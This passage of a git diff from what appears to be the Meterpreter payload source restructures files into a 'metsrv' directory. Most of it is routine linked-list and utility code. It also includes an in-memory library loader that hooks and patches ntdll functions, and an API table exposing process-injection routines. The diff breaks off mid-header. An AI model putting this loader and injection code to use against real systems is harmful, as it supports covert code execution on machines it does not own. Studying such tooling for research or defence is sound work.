*stub) +{ + DWORD protect; + ULONG bytes; + SIZE_T written; + MEMORY_BASIC_INFORMATION mbi_thunk; + + bytes = 5; + + /* Patch original function */ + + /* Fix protection */ + VirtualQuery((char *)address, &mbi_thunk, + sizeof(MEMORY_BASIC_INFORMATION)); + VirtualProtect(mbi_thunk.BaseAddress, mbi_thunk.RegionSize, + PAGE_EXECUTE_READWRITE, &mbi_thunk.Protect); + + /* Copy bytes back to function */ + WriteProcessMemory((HANDLE)-1, (char *)address, stub, + bytes, &written); + + /* Restore protection */ + VirtualProtect(mbi_thunk.BaseAddress, mbi_thunk.RegionSize, + mbi_thunk.Protect, &protect); + FlushInstructionCache((HANDLE)-1, mbi_thunk.BaseAddress, + mbi_thunk.RegionSize); + +} + +/* Remove hooks */ +void remove_hooks(SHELLCODE_CTX *ctx) +{ + f_NtMapViewOfSection lNtMapViewOfSection; + f_NtQueryAttributesFile lNtQueryAttributesFile; + f_NtOpenFile lNtOpenFile; + f_NtCreateSection lNtCreateSection; + f_NtOpenSection lNtOpenSection; + f_NtClose lNtClose; + HMODULE ntdll; + + if (!(ntdll = LoadLibraryA("ntdll"))) + { + return; + } + + lNtMapViewOfSection = (f_NtMapViewOfSection)GetProcAddress(ntdll, "NtMapViewOfSection"); + lNtQueryAttributesFile = (f_NtQueryAttributesFile)GetProcAddress(ntdll, "NtQueryAttributesFile"); + lNtOpenFile = (f_NtOpenFile)GetProcAddress(ntdll, "NtOpenFile"); + lNtCreateSection = (f_NtCreateSection)GetProcAddress(ntdll, "NtCreateSection"); + lNtOpenSection = (f_NtOpenSection)GetProcAddress(ntdll, "NtOpenSection"); + lNtClose = (f_NtClose)GetProcAddress(ntdll, "NtClose"); + + /* NtMapViewOfSection */ + restore_function(ctx, (DWORD)lNtMapViewOfSection, + ctx->s_NtMapViewOfSection); + + /* NtQueryAttributesFile */ + restore_function(ctx, (DWORD)lNtQueryAttributesFile, + ctx->s_NtQueryAttributesFile); + + /* NtOpenFile */ + restore_function(ctx, (DWORD)lNtOpenFile, ctx->s_NtOpenFile); + + /* NtCreateSection */ + restore_function(ctx, (DWORD)lNtCreateSection, ctx->s_NtCreateSection); + + /* NtOpenSection */ + restore_function(ctx, (DWORD)lNtOpenSection, ctx->s_NtOpenSection); + + /* NtClose */ + restore_function(ctx, (DWORD)lNtClose, ctx->s_NtClose); +} + +/* Map file in memory as section */ +void map_file(SHELLCODE_CTX *ctx) +{ + PIMAGE_NT_HEADERS nt; + PIMAGE_DOS_HEADER dos; + PIMAGE_SECTION_HEADER sect; + int i; + + dos = (PIMAGE_DOS_HEADER)ctx->file_address; + nt = (PIMAGE_NT_HEADERS)(ctx->file_address + dos->e_lfanew); + + /* + * Allocate space for the mapping + * First, try to map the file at ImageBase + * + */ + ctx->mapped_address = (DWORD)VirtualAlloc((PVOID)nt->OptionalHeader.ImageBase, + nt->OptionalHeader.SizeOfImage, + MEM_RESERVE|MEM_COMMIT, PAGE_EXECUTE_READWRITE); + + + /* No success, let the system decide.. */ + if (ctx->mapped_address == 0) { + ctx->mapped_address = (DWORD)VirtualAlloc((PVOID)NULL, + nt->OptionalHeader.SizeOfImage, + MEM_RESERVE|MEM_COMMIT, PAGE_EXECUTE_READWRITE); + + } + + ctx->size_map = nt->OptionalHeader.SizeOfImage; + + /* Lock the mapping in memory */ + { + ULONG (_stdcall *NtLockVirtualMemory)(HANDLE, PVOID *, PULONG, ULONG); + + NtLockVirtualMemory = (ULONG (_stdcall *)(HANDLE, PVOID *, PULONG, ULONG))GetProcAddress( + GetModuleHandleA("ntdll"), + "NtLockVirtualMemory"); + + if (NtLockVirtualMemory) + { + PVOID base = (PVOID)ctx->mapped_address; + ULONG sz = nt->OptionalHeader.SizeOfImage; + + NtLockVirtualMemory( + (HANDLE)-1, + &base, + &sz, + 1); + } + } + + /* Write headers */ + WriteProcessMemory((HANDLE)-1, (LPVOID)ctx->mapped_address, + (LPVOID)ctx->file_address, nt->OptionalHeader.SizeOfHeaders, 0); + + /* Write sections */ + sect = IMAGE_FIRST_SECTION(nt); + for (i = 0; i < nt->FileHeader.NumberOfSections; i++) { + WriteProcessMemory((HANDLE)-1, + (PCHAR)ctx->mapped_address + sect[i].VirtualAddress, + (PCHAR)ctx->file_address + sect[i].PointerToRawData, + sect[i].SizeOfRawData, 0); + } + +} + +/* + * Load a library in-memory from the provided buffer. + */ +HMODULE libloader_load_library(LPCSTR name, PUCHAR buffer, DWORD bufferLength) +{ + LPCSTR shortName = name, slash = NULL; + HMODULE mod = NULL; + + if ((slash = strrchr(name, '\\'))) + shortName = slash+1; + + ctx = (SHELLCODE_CTX *)VirtualAlloc( + NULL, + sizeof(SHELLCODE_CTX), + MEM_COMMIT, + PAGE_EXECUTE_READWRITE); + + if (!ctx) + return NULL; + + install_hooks(ctx); + + do + { + // The name of the library to load it as + strncpy_s(ctx->libname, sizeof(ctx->libname), shortName, sizeof(ctx->libname) - 1); + ctx->liblen = (int)strlen(ctx->libname) + 1; + + // The address of the raw buffer + ctx->file_address = (DWORD)buffer; + + // Map the buffer into memory + map_file(ctx); + + // Load the fake library + if (!(mod = LoadLibraryA(ctx->libname))) + { + break; + } + + } while (0); + + remove_hooks(ctx); + + VirtualFree(ctx, 0, MEM_RELEASE); + + return mod; +} diff --git a/c/meterpreter/source/metsrv/libloader.h b/c/meterpreter/source/metsrv/libloader.h new file mode 100644 index 00000000..a67254d1 --- /dev/null +++ b/c/meterpreter/source/metsrv/libloader.h @@ -0,0 +1,6 @@ +#ifndef _METERPRETER_METSRV_LIBLOADER_H +#define _METERPRETER_METSRV_LIBLOADER_H + +HMODULE libloader_load_library(LPCSTR name, PUCHAR buffer, DWORD bufferLength); + +#endif diff --git a/c/meterpreter/source/common/list.c b/c/meterpreter/source/metsrv/list.c old mode 100755 new mode 100644 similarity index 94% rename from c/meterpreter/source/common/list.c rename to c/meterpreter/source/metsrv/list.c index f23efd57..c9a2a19f --- a/c/meterpreter/source/common/list.c +++ b/c/meterpreter/source/metsrv/list.c @@ -1,457 +1,457 @@ -/*! - * @file list.c - * @brief Definitions for functions that operate on lists. - * @details An implementation of a simple thread safe double linked list structure. Can be used as either - * a stack (via pop/push), a queue (via push/shift) or an array (via get/add/insert/remove). If - * performing a group of actions on a list based on results from list actions, acquire the list - * lock before the group of actions and release lock when done. - */ -#include "common.h" - -/*! - * @brief Create a thread-safe double linked list. - * @returns A new instance of a linked list. - * @retval NULL Indicates a memory allocation failure. - */ -PLIST list_create(VOID) -{ - PLIST pList = (PLIST)malloc(sizeof(LIST)); - - if (pList != NULL) - { - pList->start = NULL; - pList->end = NULL; - pList->count = 0; - pList->lock = lock_create(); - - if (pList->lock == NULL) - { - list_destroy(pList); - return NULL; - } - } - return pList; -} - -/*! - * @brief Destroy an existing linked list. - * @details This destroys all nodes and the list itself but not the data held in the - * linked list. This is the responsibility of the caller to destroy. - * @param list The \c LIST instance to destroy. - */ -VOID list_destroy(PLIST pList) -{ - PNODE current_node; - PNODE next_node; - - if (pList != NULL) - { - lock_acquire(pList->lock); - - current_node = pList->start; - - while (current_node != NULL) - { - next_node = current_node->next; - - current_node->next = NULL; - - current_node->prev = NULL; - - free(current_node); - - current_node = next_node; - } - - pList->count = 0; - - lock_release(pList->lock); - - lock_destroy(pList->lock); - - free(pList); - } -} - -/*! - * @brief Get the number of items in the list. - * @param pList The \c LIST to get a count of. - * @returns The number of elements in the list. - * @remark If using this coung value to itterate through the list with `list_get`, acquire - * the lists lock before the `list_count/list_get` block and release it afterwards. - */ -DWORD list_count(PLIST pList) -{ - DWORD count = 0; - - if (pList != NULL) - { - lock_acquire(pList->lock); - - count = pList->count; - - lock_release(pList->lock); - } - - return count; -} - -/*! - * @brief Get the data value held in the list and a specified index. - * @param pList Pointer to the \c LIST to get the element from. - * @param index Index of the element to get; - * @returns Pointer to the item in the list. - * @retval NULL Indicates the element doesn't exist in the list. - * @remark This will perform a linear search from the beginning of the list. - */ -LPVOID list_get(PLIST pList, DWORD index) -{ - LPVOID data = NULL; - PNODE current_node = NULL; - - if (pList == NULL) - return NULL; - - lock_acquire(pList->lock); - - if (pList->count <= index) - { - lock_release(pList->lock); - return NULL; - } - - current_node = pList->start; - - while (current_node != NULL) - { - if (index == 0) - { - break; - } - - current_node = current_node->next; - - index--; - } - - if (current_node != NULL) - { - data = current_node->data; - } - - lock_release(pList->lock); - - return data; -} - -/*! - * @brief Add a data item onto the end of the list. - * @param pList Pointer to the \c LIST to add the item to. - * @param data The data that is to be added to the list. - * @returns Indication of success or failure. - * @sa list_push - */ -BOOL list_add(PLIST pList, LPVOID data) -{ - return list_push(pList, data); -} - -/*! - * @brief Internal function to remove a node from a list. - * @param pList Pointer to the \c LIST containing \c node. - * @param pNode Pointer to the \c NOTE to remove. - * @returns Indication of success or failure. - * @remark Assumes caller has aquired the appropriate lock first. - */ -BOOL list_remove_node(PLIST pList, PNODE pNode) -{ - if (pList == NULL || pNode == NULL) - { - return FALSE; - } - - if (pList->count - 1 == 0) - { - pList->start = NULL; - pList->end = NULL; - } - else - { - if (pList->start == pNode) - { - pList->start = pList->start->next; - pList->start->prev = NULL; - } - else if (pList->end == pNode) - { - pList->end = pList->end->prev; - pList->end->next = NULL; - } - else - { - pNode->next->prev = pNode->prev; - pNode->prev->next = pNode->next; - } - } - - pList->count -= 1; - - pNode->next = NULL; - - pNode->prev = NULL; - - free(pNode); - - return TRUE; -} - -/*! - * @brief Remove a given data item from the list. - * @param pList Pointer to the \c LIST to remove the item from. - * @param data The data that is to be removed from the list. - * @remark Assumes data items are unqique as only the first occurrence is removed. - * @returns Indication of success or failure. - * @sa list_remove_node - */ -BOOL list_remove(PLIST pList, LPVOID data) -{ - BOOL result = FALSE; - PNODE current_node = NULL; - - if (pList == NULL || data == NULL) - { - return FALSE; - } - - lock_acquire(pList->lock); - - current_node = pList->start; - - while (current_node != NULL) - { - if (current_node->data == data) - { - break; - } - - current_node = current_node->next; - } - - result = list_remove_node(pList, current_node); - - lock_release(pList->lock); - - return result; -} - -/*! - * @brief Remove a list item at the specified index. - * @param pList Pointer to the \c LIST to remove the item from. - * @param index Index of the item to remove. - * @returns Indication of success or failure. - */ -BOOL list_delete(PLIST pList, DWORD index) -{ - BOOL result = FALSE; - LPVOID data = NULL; - PNODE current_node = NULL; - - if (pList == NULL) - { - return FALSE; - } - - lock_acquire(pList->lock); - - if (pList->count > index) - { - current_node = pList->start; - - while (current_node != NULL) - { - if (index == 0) - { - result = list_remove_node(pList, current_node); - break; - } - - current_node = current_node->next; - - index--; - } - } - - lock_release(pList->lock); - - return result; -} - -/*! - * @brief Clear the contents of the list - * @param pList Pointer to the \c LIST to clear. - * @param pFunc Pointer to the function to run on each data node (if any). - * @returns Indication of success or failure. - */ -BOOL list_clear(PLIST pList, PCLEARFUNC pFunc) -{ - PNODE pNode = NULL; - PNODE pFree = NULL; - - if (pList == NULL) - { - return FALSE; - } - - lock_acquire(pList->lock); - - pNode = pList->start; - while (pNode != NULL) - { - if (pFunc) - { - pFunc(pNode->data); - } - - pFree = pNode; - pNode = pNode->next; - free(pFree); - } - - pList->start = pList->end = NULL; - - lock_release(pList->lock); - - return TRUE; -} - -/*! - * @brief Push a data item onto the end of the list. - * @param pList Pointer to the \c LIST to append the data to. - * @param data Pointer to the data to append. - * @returns Indication of success or failure. - */ -BOOL list_push(PLIST pList, LPVOID data) -{ - PNODE pNode = NULL; - - if (pList == NULL) - return FALSE; - - pNode = (PNODE)malloc(sizeof(NODE)); - if (pNode == NULL) - { - return FALSE; - } - - pNode->data = data; - pNode->next = NULL; - pNode->prev = NULL; - - lock_acquire(pList->lock); - - if (pList->end != NULL) - { - pList->end->next = pNode; - - pNode->prev = pList->end; - - pList->end = pNode; - } - else - { - pList->start = pNode; - pList->end = pNode; - } - - pList->count += 1; - - lock_release(pList->lock); - - return TRUE; -} - -/*! - * @brief Pop a data value off the end of the list. - * @param pList Pointer to the \c LIST to pop the value from. - * @returns The popped value. - * @retval NULL Indicates no data in the list. - */ -LPVOID list_pop(PLIST pList) -{ - LPVOID data = NULL; - - if (pList == NULL) - { - return NULL; - } - - lock_acquire(pList->lock); - - if (pList->end != NULL) - { - data = pList->end->data; - - list_remove_node(pList, pList->end); - } - - lock_release(pList->lock); - - return data; -} - -/*! - * @brief Pop a data value off the start of the list. - * @param pList Pointer to the \c LIST to shift the value from. - * @returns The shifted value. - * @retval NULL Indicates no data in the list. - */ -LPVOID list_shift(PLIST pList) -{ - LPVOID data = NULL; - - if (pList == NULL) - { - return NULL; - } - - lock_acquire(pList->lock); - - if (pList->start != NULL) - { - data = pList->start->data; - - list_remove_node(pList, pList->start); - } - - lock_release(pList->lock); - - return data; -} - -/*! - * @brief Iterate over the list and call a function callback on each element. - * @param pList Pointer to the \c LIST to enumerate. - * @param pCallback Callback function to invoke for each element in the list. - * @param pState Pointer to the state to pass with each function call. - */ -BOOL list_enumerate(PLIST pList, PLISTENUMCALLBACK pCallback, LPVOID pState) -{ - if (pList == NULL || pCallback == NULL) - { - return FALSE; - } - - lock_acquire(pList->lock); - - PNODE pCurrent = pList->start; - BOOL bResult = FALSE; - - while (pCurrent != NULL) - { - bResult = pCallback(pState, pCurrent->data) || bResult; - pCurrent = pCurrent->next; - } - - lock_release(pList->lock); - return bResult; +/*! + * @file list.c + * @brief Definitions for functions that operate on lists. + * @details An implementation of a simple thread safe double linked list structure. Can be used as either + * a stack (via pop/push), a queue (via push/shift) or an array (via get/add/insert/remove). If + * performing a group of actions on a list based on results from list actions, acquire the list + * lock before the group of actions and release lock when done. + */ +#include "metsrv.h" + +/*! + * @brief Create a thread-safe double linked list. + * @returns A new instance of a linked list. + * @retval NULL Indicates a memory allocation failure. + */ +PLIST list_create(VOID) +{ + PLIST pList = (PLIST)malloc(sizeof(LIST)); + + if (pList != NULL) + { + pList->start = NULL; + pList->end = NULL; + pList->count = 0; + pList->lock = lock_create(); + + if (pList->lock == NULL) + { + list_destroy(pList); + return NULL; + } + } + return pList; +} + +/*! + * @brief Destroy an existing linked list. + * @details This destroys all nodes and the list itself but not the data held in the + * linked list. This is the responsibility of the caller to destroy. + * @param list The \c LIST instance to destroy. + */ +VOID list_destroy(PLIST pList) +{ + PNODE current_node; + PNODE next_node; + + if (pList != NULL) + { + lock_acquire(pList->lock); + + current_node = pList->start; + + while (current_node != NULL) + { + next_node = current_node->next; + + current_node->next = NULL; + + current_node->prev = NULL; + + free(current_node); + + current_node = next_node; + } + + pList->count = 0; + + lock_release(pList->lock); + + lock_destroy(pList->lock); + + free(pList); + } +} + +/*! + * @brief Get the number of items in the list. + * @param pList The \c LIST to get a count of. + * @returns The number of elements in the list. + * @remark If using this coung value to itterate through the list with `list_get`, acquire + * the lists lock before the `list_count/list_get` block and release it afterwards. + */ +DWORD list_count(PLIST pList) +{ + DWORD count = 0; + + if (pList != NULL) + { + lock_acquire(pList->lock); + + count = pList->count; + + lock_release(pList->lock); + } + + return count; +} + +/*! + * @brief Get the data value held in the list and a specified index. + * @param pList Pointer to the \c LIST to get the element from. + * @param index Index of the element to get; + * @returns Pointer to the item in the list. + * @retval NULL Indicates the element doesn't exist in the list. + * @remark This will perform a linear search from the beginning of the list. + */ +LPVOID list_get(PLIST pList, DWORD index) +{ + LPVOID data = NULL; + PNODE current_node = NULL; + + if (pList == NULL) + return NULL; + + lock_acquire(pList->lock); + + if (pList->count <= index) + { + lock_release(pList->lock); + return NULL; + } + + current_node = pList->start; + + while (current_node != NULL) + { + if (index == 0) + { + break; + } + + current_node = current_node->next; + + index--; + } + + if (current_node != NULL) + { + data = current_node->data; + } + + lock_release(pList->lock); + + return data; +} + +/*! + * @brief Add a data item onto the end of the list. + * @param pList Pointer to the \c LIST to add the item to. + * @param data The data that is to be added to the list. + * @returns Indication of success or failure. + * @sa list_push + */ +BOOL list_add(PLIST pList, LPVOID data) +{ + return list_push(pList, data); +} + +/*! + * @brief Internal function to remove a node from a list. + * @param pList Pointer to the \c LIST containing \c node. + * @param pNode Pointer to the \c NOTE to remove. + * @returns Indication of success or failure. + * @remark Assumes caller has aquired the appropriate lock first. + */ +BOOL list_remove_node(PLIST pList, PNODE pNode) +{ + if (pList == NULL || pNode == NULL) + { + return FALSE; + } + + if (pList->count - 1 == 0) + { + pList->start = NULL; + pList->end = NULL; + } + else + { + if (pList->start == pNode) + { + pList->start = pList->start->next; + pList->start->prev = NULL; + } + else if (pList->end == pNode) + { + pList->end = pList->end->prev; + pList->end->next = NULL; + } + else + { + pNode->next->prev = pNode->prev; + pNode->prev->next = pNode->next; + } + } + + pList->count -= 1; + + pNode->next = NULL; + + pNode->prev = NULL; + + free(pNode); + + return TRUE; +} + +/*! + * @brief Remove a given data item from the list. + * @param pList Pointer to the \c LIST to remove the item from. + * @param data The data that is to be removed from the list. + * @remark Assumes data items are unqique as only the first occurrence is removed. + * @returns Indication of success or failure. + * @sa list_remove_node + */ +BOOL list_remove(PLIST pList, LPVOID data) +{ + BOOL result = FALSE; + PNODE current_node = NULL; + + if (pList == NULL || data == NULL) + { + return FALSE; + } + + lock_acquire(pList->lock); + + current_node = pList->start; + + while (current_node != NULL) + { + if (current_node->data == data) + { + break; + } + + current_node = current_node->next; + } + + result = list_remove_node(pList, current_node); + + lock_release(pList->lock); + + return result; +} + +/*! + * @brief Remove a list item at the specified index. + * @param pList Pointer to the \c LIST to remove the item from. + * @param index Index of the item to remove. + * @returns Indication of success or failure. + */ +BOOL list_delete(PLIST pList, DWORD index) +{ + BOOL result = FALSE; + LPVOID data = NULL; + PNODE current_node = NULL; + + if (pList == NULL) + { + return FALSE; + } + + lock_acquire(pList->lock); + + if (pList->count > index) + { + current_node = pList->start; + + while (current_node != NULL) + { + if (index == 0) + { + result = list_remove_node(pList, current_node); + break; + } + + current_node = current_node->next; + + index--; + } + } + + lock_release(pList->lock); + + return result; +} + +/*! + * @brief Clear the contents of the list + * @param pList Pointer to the \c LIST to clear. + * @param pFunc Pointer to the function to run on each data node (if any). + * @returns Indication of success or failure. + */ +BOOL list_clear(PLIST pList, PCLEARFUNC pFunc) +{ + PNODE pNode = NULL; + PNODE pFree = NULL; + + if (pList == NULL) + { + return FALSE; + } + + lock_acquire(pList->lock); + + pNode = pList->start; + while (pNode != NULL) + { + if (pFunc) + { + pFunc(pNode->data); + } + + pFree = pNode; + pNode = pNode->next; + free(pFree); + } + + pList->start = pList->end = NULL; + + lock_release(pList->lock); + + return TRUE; +} + +/*! + * @brief Push a data item onto the end of the list. + * @param pList Pointer to the \c LIST to append the data to. + * @param data Pointer to the data to append. + * @returns Indication of success or failure. + */ +BOOL list_push(PLIST pList, LPVOID data) +{ + PNODE pNode = NULL; + + if (pList == NULL) + return FALSE; + + pNode = (PNODE)malloc(sizeof(NODE)); + if (pNode == NULL) + { + return FALSE; + } + + pNode->data = data; + pNode->next = NULL; + pNode->prev = NULL; + + lock_acquire(pList->lock); + + if (pList->end != NULL) + { + pList->end->next = pNode; + + pNode->prev = pList->end; + + pList->end = pNode; + } + else + { + pList->start = pNode; + pList->end = pNode; + } + + pList->count += 1; + + lock_release(pList->lock); + + return TRUE; +} + +/*! + * @brief Pop a data value off the end of the list. + * @param pList Pointer to the \c LIST to pop the value from. + * @returns The popped value. + * @retval NULL Indicates no data in the list. + */ +LPVOID list_pop(PLIST pList) +{ + LPVOID data = NULL; + + if (pList == NULL) + { + return NULL; + } + + lock_acquire(pList->lock); + + if (pList->end != NULL) + { + data = pList->end->data; + + list_remove_node(pList, pList->end); + } + + lock_release(pList->lock); + + return data; +} + +/*! + * @brief Pop a data value off the start of the list. + * @param pList Pointer to the \c LIST to shift the value from. + * @returns The shifted value. + * @retval NULL Indicates no data in the list. + */ +LPVOID list_shift(PLIST pList) +{ + LPVOID data = NULL; + + if (pList == NULL) + { + return NULL; + } + + lock_acquire(pList->lock); + + if (pList->start != NULL) + { + data = pList->start->data; + + list_remove_node(pList, pList->start); + } + + lock_release(pList->lock); + + return data; +} + +/*! + * @brief Iterate over the list and call a function callback on each element. + * @param pList Pointer to the \c LIST to enumerate. + * @param pCallback Callback function to invoke for each element in the list. + * @param pState Pointer to the state to pass with each function call. + */ +BOOL list_enumerate(PLIST pList, PLISTENUMCALLBACK pCallback, LPVOID pState) +{ + if (pList == NULL || pCallback == NULL) + { + return FALSE; + } + + lock_acquire(pList->lock); + + PNODE pCurrent = pList->start; + BOOL bResult = FALSE; + + while (pCurrent != NULL) + { + bResult = pCallback(pState, pCurrent->data) || bResult; + pCurrent = pCurrent->next; + } + + lock_release(pList->lock); + return bResult; } \ No newline at end of file diff --git a/c/meterpreter/source/metsrv/list.h b/c/meterpreter/source/metsrv/list.h new file mode 100644 index 00000000..0c27fa41 --- /dev/null +++ b/c/meterpreter/source/metsrv/list.h @@ -0,0 +1,23 @@ +/*! + * @file list.h + * @brief Declarations for functions that operate on lists. + */ +#ifndef _METERPRETER_METSRV_LIST_H +#define _METERPRETER_METSRV_LIST_H + +#include "common_list.h" + +LIST * list_create(VOID); +VOID list_destroy(PLIST pList); +DWORD list_count(PLIST pList); +LPVOID list_get(PLIST pList, DWORD index); +BOOL list_clear(PLIST pList, PCLEARFUNC pFunc); +BOOL list_add(PLIST pList, LPVOID data); +BOOL list_remove(PLIST pList, LPVOID data); +BOOL list_delete(PLIST pList, DWORD index); +BOOL list_push(PLIST pList, LPVOID data); +LPVOID list_pop(PLIST pList); +LPVOID list_shift(PLIST pList); +BOOL list_enumerate(PLIST pList, PLISTENUMCALLBACK pCallback, LPVOID pState); + +#endif \ No newline at end of file diff --git a/c/meterpreter/source/metsrv/metapi.c b/c/meterpreter/source/metsrv/metapi.c new file mode 100644 index 00000000..b8f5a0fb --- /dev/null +++ b/c/meterpreter/source/metsrv/metapi.c @@ -0,0 +1,134 @@ +#include "metapi.h" +#include "unicode.h" +#include "remote_thread.h" +#include "base_inject.h" + +MetApi api_instance = { + // PacketApi + { + packet_get_tlv_value_bool, + packet_get_tlv_value_raw, + packet_add_completion_handler, + packet_add_exception, + packet_add_group, + packet_add_request_id, + packet_add_tlv_bool, + packet_add_tlv_group, + packet_add_tlv_qword, + packet_add_tlv_raw, + packet_add_tlv_string, + packet_add_tlv_uint, + packet_add_tlv_wstring, + packet_add_tlv_wstring_len, + packet_add_tlvs, + packet_call_completion_handlers, + packet_enum_tlv, + packet_get_tlv, + packet_get_tlv_group_entry, + packet_get_tlv_string, + packet_is_tlv_null_terminated, + packet_remove_completion_handler, + packet_transmit, + packet_transmit_empty_response, + packet_transmit_response, + packet_get_tlv_value_string, + packet_create, + packet_create_group, + packet_create_response, + packet_get_type, + packet_get_tlv_value_qword, + packet_get_tlv_meta, + packet_get_tlv_value_uint, + packet_destroy, + packet_get_tlv_value_wstring, + }, + // CommandApi + { + command_deregister_all, + command_register_all, + }, + // ThreadApi + { + thread_destroy, + thread_join, + thread_kill, + thread_run, + thread_sigterm, + thread_create, + thread_open, + create_remote_thread, + core_update_thread_token, + }, + // LockApi + { + lock_create, + lock_acquire, + lock_destroy, + lock_release, + }, + // EventApi + { + event_destroy, + event_poll, + event_signal, + event_create, + }, + // ChannelApi + { + channel_exists, + channel_is_interactive, + channel_is_flag, + channel_create, + channel_create_datagram, + channel_create_pool, + channel_create_stream, + channel_find_by_id, + channel_close, + channel_default_io_handler, + channel_get_class, + channel_get_id, + channel_interact, + channel_open, + channel_read, + channel_read_from_buffered, + channel_write, + channel_write_to_buffered, + channel_write_to_remote, + channel_get_native_io_context, + channel_get_type, + channel_get_buffered_io_context, + channel_get_flags, + channel_destroy, + channel_set_buffered_io_handler, + channel_set_flags, + channel_set_interactive, + channel_set_native_io_context, + channel_set_type, + }, + // SchedulerApi + { + scheduler_initialize, + scheduler_destroy, + scheduler_insert_waitable, + scheduler_signal_waitable, + scheduler_waitable_thread, + }, + // StringApi + { + utf8_to_wchar, + wchar_to_utf8, + }, + // InjectApi + { + inject_dll, + inject_via_apcthread, + inject_via_remotethread, + inject_via_remotethread_wow64, + }, + // DesktopApi + { + core_update_desktop, + }, +}; + +MetApi* met_api = &api_instance; diff --git a/c/meterpreter/source/metsrv/metapi.h b/c/meterpreter/source/metsrv/metapi.h new file mode 100644 index 00000000..c9ce6f52 --- /dev/null +++ b/c/meterpreter/source/metsrv/metapi.h @@ -0,0 +1,7 @@ +#ifndef _METERPRETER_METSRV_METAPI_H +#define _METERPRETER_METSRV_METAPI_H + +#include "metsrv.h" +#include "common_metapi.h" + +#endif \ No newline at end of file diff --git a/c/meterpreter/source/common/common.c b/c/meterpreter/source/metsrv/metsrv.c old mode 100755 new mode 100644 similarity index 63% rename from c/meterpreter/source/common/common.c rename to c/meterpreter/source/metsrv/metsrv.c index a7317bcd..cbd4d6c6 --- a/c/meterpreter/source/common/common.c +++ b/c/meterpreter/source/metsrv/metsrv.c @@ -1,69 +1,98 @@ -/*! - * @file common.c - * @brief Definitions for various common components used across the Meterpreter suite. - */ -#include "common.h" - -#define SLEEP_MAX_SEC (MAXDWORD / 1000) - -/*! - * @brief Returns a unix timestamp in UTC. - * @return Integer value representing the UTC Unix timestamp of the current time. - */ -int current_unix_timestamp(void) { - SYSTEMTIME system_time; - FILETIME file_time; - ULARGE_INTEGER ularge; - - GetSystemTime(&system_time); - SystemTimeToFileTime(&system_time, &file_time); - - ularge.LowPart = file_time.dwLowDateTime; - ularge.HighPart = file_time.dwHighDateTime; - return (long)((ularge.QuadPart - 116444736000000000) / 10000000L); -} - -/*! - * @brief Sleep for the given number of seconds. - * @param seconds DWORD value representing the number of seconds to sleep. - * @remark This was implemented so that extended sleep times can be used (beyond the - * 49 day limit imposed by Sleep()). - */ -VOID sleep(DWORD seconds) -{ - while (seconds > SLEEP_MAX_SEC) - { - Sleep(SLEEP_MAX_SEC * 1000); - seconds -= SLEEP_MAX_SEC; - } - Sleep(seconds * 1000); -} - -VOID xor_bytes(BYTE xorKey[4], LPBYTE buffer, DWORD bufferSize) -{ - dprintf("[XOR] XORing %u bytes with key %02x%02x%02x%02x", bufferSize, xorKey[0], xorKey[1], xorKey[2], xorKey[3]); - for (DWORD i = 0; i < bufferSize; ++i) - { - buffer[i] ^= xorKey[i % 4]; - } -} - -VOID rand_xor_key(BYTE buffer[4]) -{ - static BOOL initialised = FALSE; - if (!initialised) - { - srand((unsigned int)time(NULL)); - initialised = TRUE; - } - - buffer[0] = (rand() % 254) + 1; - buffer[1] = (rand() % 254) + 1; - buffer[2] = (rand() % 254) + 1; - buffer[3] = (rand() % 254) + 1; -} - -BOOL is_null_guid(BYTE guid[sizeof(GUID)]) -{ - return memcmp(guid, "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00", sizeof(guid)) == 0 ? TRUE : FALSE; +#include "metsrv.h" + +#include // for EXCEPTION_ACCESS_VIOLATION +#include + +#define UnpackAndLinkLibs(p, s) + +DWORD __declspec(dllexport) Init(MetsrvConfig* metConfig) +{ + // In the case of metsrv payloads, the parameter passed to init is NOT a socket, it's actually + // a pointer to the metserv configuration, so do a nasty cast and move on. + dprintf("[METSRV] Getting ready to init with config %p", metConfig); + DWORD result = server_setup(metConfig); + + dprintf("[METSRV] Exiting with %08x", metConfig->session.exit_func); + + // We also handle exit func directly in metsrv now because the value is added to the + // configuration block and we manage to save bytes in the stager/header as well. + switch (metConfig->session.exit_func) + { + case EXITFUNC_SEH: + SetUnhandledExceptionFilter(NULL); + break; + case EXITFUNC_THREAD: + ExitThread(0); + break; + case EXITFUNC_PROCESS: + ExitProcess(0); + break; + default: + break; + } + return result; +} + +#define SLEEP_MAX_SEC (MAXDWORD / 1000) + +/*! + * @brief Returns a unix timestamp in UTC. + * @return Integer value representing the UTC Unix timestamp of the current time. + */ +int current_unix_timestamp(void) { + SYSTEMTIME system_time; + FILETIME file_time; + ULARGE_INTEGER ularge; + + GetSystemTime(&system_time); + SystemTimeToFileTime(&system_time, &file_time); + + ularge.LowPart = file_time.dwLowDateTime; + ularge.HighPart = file_time.dwHighDateTime; + return (long)((ularge.QuadPart - 116444736000000000) / 10000000L); +} + +/*! + * @brief Sleep for the given number of seconds. + * @param seconds DWORD value representing the number of seconds to sleep. + * @remark This was implemented so that extended sleep times can be used (beyond the + * 49 day limit imposed by Sleep()). + */ +VOID sleep(DWORD seconds) +{ + while (seconds > SLEEP_MAX_SEC) + { + Sleep(SLEEP_MAX_SEC * 1000); + seconds -= SLEEP_MAX_SEC; + } + Sleep(seconds * 1000); +} + +VOID xor_bytes(BYTE xorKey[4], LPBYTE buffer, DWORD bufferSize) +{ + dprintf("[XOR] XORing %u bytes with key %02x%02x%02x%02x", bufferSize, xorKey[0], xorKey[1], xorKey[2], xorKey[3]); + for (DWORD i = 0; i < bufferSize; ++i) + { + buffer[i] ^= xorKey[i % 4]; + } +} + +VOID rand_xor_key(BYTE buffer[4]) +{ + static BOOL initialised = FALSE; + if (!initialised) + { + srand((unsigned int)time(NULL)); + initialised = TRUE; + } + + buffer[0] = (rand() % 254) + 1; + buffer[1] = (rand() % 254) + 1; + buffer[2] = (rand() % 254) + 1; + buffer[3] = (rand() % 254) + 1; +} + +BOOL is_null_guid(BYTE guid[sizeof(GUID)]) +{ + return memcmp(guid, "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00", sizeof(guid)) == 0 ? TRUE : FALSE; } \ No newline at end of file diff --git a/c/meterpreter/source/metsrv/metsrv.h b/c/meterpreter/source/metsrv/metsrv.h new file mode 100644 index 00000000..449fe996 --- /dev/null +++ b/c/meterpreter/source/metsrv/metsrv.h @@ -0,0 +1,73 @@ +#ifndef _METERPRETER_METSRV_METSRV_H +#define _METERPRETER_METSRV_METSRV_H + +/* + * Version number + * v------- major major + * v----- major minor + * v--- 